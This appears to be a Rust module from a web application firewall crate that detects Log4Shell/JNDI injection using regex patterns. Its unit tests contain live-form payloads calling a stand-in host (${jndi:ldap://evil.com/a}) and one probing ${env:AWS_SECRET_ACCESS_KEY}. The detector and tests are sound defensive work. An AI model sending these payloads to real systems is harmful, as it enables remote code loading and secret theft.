bext-waf 0.2.0

Web Application Firewall for bext — rate limiting, IP filtering, GeoIP, rule engine
Documentation
//! Log4Shell / JNDI injection detection (CVE-2021-44228 and variants).
//!
//! Detects `${jndi:ldap://...}` patterns in all request inputs including
//! headers, since Log4j logs header values like User-Agent and X-Forwarded-For.

use std::sync::OnceLock;

use regex::RegexSet;

static LOG4SHELL_PATTERNS: OnceLock<RegexSet> = OnceLock::new();

static LOG4SHELL_DESCRIPTIONS: &[&str] = &[
    "JNDI injection: ${jndi:...}",
    "JNDI with obfuscation: ${${lower:j}ndi:}",
    "JNDI with env lookup: ${jndi:${env:...}}",
    "Log4j lookup: ${env:...} / ${sys:...} / ${java:...}",
];

fn patterns() -> &'static RegexSet {
    LOG4SHELL_PATTERNS.get_or_init(|| {
        RegexSet::new([
            // 0: Direct JNDI injection
            r"(?i)\$\{jndi:(ldap|ldaps|rmi|dns|iiop|corba|nds|http)s?://",
            // 1: Obfuscated JNDI: ${${lower:j}ndi:} etc.
            r"(?i)\$\{\$\{[^}]*\}[^}]*ndi:",
            // 2: Nested lookups with jndi
            r"(?i)\$\{jndi:\$\{",
            // 3: Log4j lookup patterns (env, sys, java, date)
            r"(?i)\$\{(env|sys|java|date|ctx|main|marker|bundle):[^}]+\}",
        ])
        .expect("Log4Shell regex patterns must compile")
    })
}

/// Check an input string for Log4Shell / JNDI injection patterns.
pub fn check_log4shell(input: &str) -> Option<String> {
    let set = patterns();
    let matches: Vec<_> = set.matches(input).into_iter().collect();
    if matches.is_empty() {
        None
    } else {
        let idx = matches[0];
        Some(
            LOG4SHELL_DESCRIPTIONS
                .get(idx)
                .unwrap_or(&"JNDI injection")
                .to_string(),
        )
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn detects_basic_jndi() {
        assert!(check_log4shell("${jndi:ldap://evil.com/a}").is_some());
        assert!(check_log4shell("${jndi:rmi://evil.com/a}").is_some());
        assert!(check_log4shell("${jndi:dns://evil.com}").is_some());
    }

    #[test]
    fn detects_obfuscated_jndi() {
        assert!(check_log4shell("${${lower:j}ndi:ldap://evil.com}").is_some());
    }

    #[test]
    fn detects_nested_jndi() {
        assert!(check_log4shell("${jndi:${env:USER}}").is_some());
    }

    #[test]
    fn detects_log4j_lookups() {
        assert!(check_log4shell("${env:AWS_SECRET_ACCESS_KEY}").is_some());
        assert!(check_log4shell("${sys:os.name}").is_some());
        assert!(check_log4shell("${java:version}").is_some());
    }

    #[test]
    fn allows_normal_text() {
        assert!(check_log4shell("Hello world").is_none());
        assert!(check_log4shell("/api/users/123").is_none());
    }

    #[test]
    fn allows_normal_dollar_brace() {
        // Template literals in JS shouldn't match
        assert!(check_log4shell("${name}").is_none());
        assert!(check_log4shell("Price: $100").is_none());
    }
}